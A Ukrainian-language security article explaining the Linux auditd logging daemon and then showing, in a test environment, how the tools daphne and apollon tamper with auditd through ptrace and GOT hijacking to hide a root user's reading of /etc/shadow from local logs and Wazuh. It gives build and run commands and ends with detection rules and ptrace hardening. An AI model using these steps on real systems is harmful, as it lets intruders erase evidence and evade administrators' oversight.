Аудит подій в операційних системах Linux: Розгляд інструменту auditd (Linux Audit Daemon) та обхід його захисного механізму

На сьогодні, важливим аспектом інформаційної безпеки є логування.
Логування (запис подій або журналювання) в інформаційних технологіях — це процес фіксації подій, що виникають в операційній системі або програмному забезпеченні у спеціально відведеному місці — лог-файлі. Ці записи зазвичай містять інформацію про дії користувачів, системні події, помилки, аудиторські події та інше.

Зі сторони Blue Team, логування дозволяє виявляти спроби несанкціонованого доступу або інші атаки на систему. Аналіз логів може допомогти виявити надзвичайні або підозрілі активності, що вказує на можливі порушення безпеки. Також логи можуть бути використані для відновлення історії подій після інциденту або порушення безпеки. Це допомагає з’ясувати причини інциденту, виявити слабкі місця в безпеці та розробити стратегії для їх подальшого усунення.

Одним із відомих інструментів для аудиту подій в операційних системах на базі Linux про який ми з вами поговоримо є auditd (Linux Audit Daemon). Під час своєї роботи утиліта спостерігає за системними викликами та може записувати різні події пов’язані з файлами ОС (читання, запис, виконання, зміна прав). Відповідно, це дає змогу відстежувати практично будь-які події, що відбуваються в операційній системі.

Для встановлення утиліти потрібно скористатись вашим пакетним менеджером. Наприклад для Debian/Ubuntu установка буде виконуватись наступною командою:

sudo apt-get install auditd audispd-plugins

Щодо налаштування auditd, то вона виконується з допомогою двох файлів:

/etc/audit/auditd.conf – містить параметри конфігурації для служби аудиту
/etc/audit/audit.rules – в цьому файлі зазвичай зберігаються правила аудиту, які визначають, які події мають бути відстежені і які дії повинні бути виконані при виникненні певних подій

Можемо переглянути приклад конфігураційного файлу для auditd в нашій системі:

RNB Запис — Figure 1 – Приклад файлу auditd.conf

Серед цікавих є шлях до файлу, в який будуть записуватися журнальні дані аудиту (/var/log/audit/audit.log); log_group = adm (група, яка має доступ до журнального файлу); log_format = ENRICHED (визначає формат журнальних записів (ENRICHED)).

Як вже було сказано, правила моніторинга знаходяться в файлі audit.rules. Також їх можна переглянути виконавши команду

auditctl -l – виводить активні правила

Також, пошук пов’язаної події або доступ до того чи іншого файлу можна виконувати з допомогою команди ausearch:

ausearch -f /etc/passwd

Тепер поговоримо про обхід цього захисного механізму. Після несанкціонованого доступу до цільової машини, атакуючий зазвичай прагне приховати свою активність та сліди від адміністраторів систем та системних журналів. Це потрібно для того, щоб зробити важчим виявлення та розслідування їхніх дій. Також це може зменшити ймовірність того, що адміністратори систем виявлять діяльність хакера протягом короткого часу. Відповідно, це дає зловмисникам більше часу для виконання атак та подальшого переміщення в мережі жертви.

Для проведення атаки на auditd було використано дві доволі цікаві утиліти:

daphne – https://github.com/codewhitesec/daphne
apollon – https://github.com/codewhitesec/apollon

Перша утиліта використовує для своєї роботи системний виклик ptrace. Він дозволяє одному процесу (зазвичай, відлагоджувальному) спостерігати та контролювати виконання іншого процесу. daphne може стежити за виконанням команд в цільовому процесі, включаючи виклики систем, зміни регістрів та інші події. Після приєднання до цільового процесу auditd, утиліта перехоплює системний виклик recvfrom для інспекції буфера даних (auditd використовує системний виклик recvfrom для отримання подій від ядра через netlink). Це дає змогу очистити або змінити певні ключові слова при появі їх в цьому буфері. Врешті-решт, daphne повертає результат підробленого системного виклику до auditd.

Ми спробували застосувати цю утиліту в тестовому середовищі з метою уникнення детектування. Варто зазначити, що для застосування обидвох утиліт, потрібні root права користувача в системі. Саме тому, припускаємо сценарій, що ми успішно проексплуатували вразливість та підняли привілеї на цільовій машині.

Спробуємо спочатку виконати наступну команду

cat /etc/shadow

Команда виведе вміст файлу /etc/shadow, що містить захешовані паролі користувачів та іншу важливу інформацію щодо облікових записів користувачів.

Та одразу перевіримо журнал audit.log на наявність запису про нашу дію:
RNB Запис

Наша машина підключена та налаштована на надсилання логів до сервера Wazuh (відкрита платформа для безпеки та інформаційного забезпечення, яка надає інтегровані рішення для виявлення та відгуку на загрози, а також для моніторингу журналів та подій систем), тому перевіримо наше спрацювання і там:

Як бачимо, інформація наявна в обох місцях, що дає прозору видимість наших дій для системного адміністратора, що відповідає за моніторинг наших цільових машин.

Тепер спробуємо застосувати нашу утиліту daphne для приховування дій. Її використання є досить простим: потрібно встановити її з офіційного репозиторію та виконати команду make для автоматизації процесу компіляції та збірки програмного забезпечення з вихідних кодів.

git clone https://github.com/codewhitesec/daphne.git
cd daphne/
make

Скомпільований файл поміщений в директорію dist/. Для його запуску нам потрібно знати PID(Process ID або ідентифікатор процесу) auditd процесу. Знайти його можна з допомогою команди ps:

Також нам потрібно знайти PID процесу нашої поточної shell оболонки:

echo $$

Все готово! Тепер ми можемо запустити нашу утиліту вказавши PID обох знайдених нами раніше процесів:

./daphne-x64 492 3193 1>/dev/null &

Параметр 1>/dev/null & вказує на те, що вивід (STDOUT) команди буде перенаправлений до /dev/null, і зазначає запуск процесу в фоновому режимі. Тепер спробуємо знову вивести вміст нашого файлу та перегляньмо вміст логів:

Як бачимо, утиліта успішно справилась зі своєю роботою та приховала наші зловмисні дії! Тепер ми можемо не перейматись за те, що наші дії будуть залоговані та виявлені в логах адміністратором.

Наступна утиліта apollon працює по дещо іншому принципу. З допомогою /proc/pid/mem вона отримує доступ до пам’яті цільового процесу auditd. Після цього відбувається зміна вказівника функції recvfrom у GOT (Global Offset Table) – це структура даних для реалізації динамічного зв’язування (Dynamic Linking) та викликів функцій з бібліотек, які завантажуються під час виконання програми. Коли програма викликає функцію, яка має бути знайдена в бібліотеці, адреса цієї функції зберігається в GOT. Для цього відбувається пошук code cave в процесі auditd, щоб помістити туди шелкод, який буде виконувати роль нашої зловмисної функції фільтрації подій логування. Все що нам залишається – замінити адресу легального recvfrom на адресу нашого кастомного у вигляді шелкода.

Встановлення та збірка утиліти нічим не відрізняється від попередньої – потрібно завантажити репозиторій та виконати команду make. Після цього маємо два готових зразки у папці dist.

Спробуємо запустити та протестувати наш зразок:

./apollon-all-x64 492 1>/dev/null &

Цього разу, потрібно вказати лише PID процесу auditd (знайдений раніше). Знову виконаємо декілька запитів на виведення файлу /etc/shadow та переглянемо вміст логів:

RNB Запис

Інформація на сервері Wazuh також не оновлювалась з минулої години:

RNB Запис

Як бачимо, утиліта змогла успішно обійти механізм логування auditd та приховати наші дії!

Щодо детектування, то розробник даних утиліти рекомендує додати наступні правила для детектування використання системного виклику ptrace (daphne):

-a always,exit -F arch=b32 -S ptrace -F a0=0x4 -k code_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x4 -k code_injection
-a always,exit -F arch=b32 -S ptrace -F a0=0x5 -k data_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x5 -k data_injection
-a always,exit -F arch=b32 -S ptrace -F a0=0x6 -k register_injection
-a always,exit -F arch=b64 -S ptrace -F a0=0x6 -k register_injection
-a always,exit -F arch=b32 -S ptrace -k tracing
-a always,exit -F arch=b64 -S ptrace -k tracing

Щодо утиліти appolon, звичайні, статичні файли не працюють, тому нам потрібно застосувати динамічне додавання правил файлової системи для /proc/pid/mem процесу auditd:

[Service]

Type=forking

PIDFile=/run/auditd.pid

ExecStart=/sbin/auditd

## To not use augenrules, copy this file to 
/etc/systemd/system/auditd.service

## and comment/delete the next line and uncomment the auditctl line.

## NOTE: augenrules expect any rules to be added to /etc/audit/rules.d/

ExecStartPost=-/sbin/augenrules --load

ExecStartPost=/bin/bash -c "auditctl -w /proc/$(cat /run/auditd.pid)/mem -k process-injection"

Також варто відмітити, що заборона ptrace за допомогою restrictive конфігурації ptrace_scope запобігає доступу apollon до пам’яті процесу auditd через /proc/pid/mem, що запобігає пошуку вказівника recvfrom у GOT.

Посилання:

https://github.com/codewhitesec/daphne

https://github.com/codewhitesec/apollon

https://github.com/linux-audit/audit-userspace

https://man7.org/linux/man-pages/man5/proc.5.html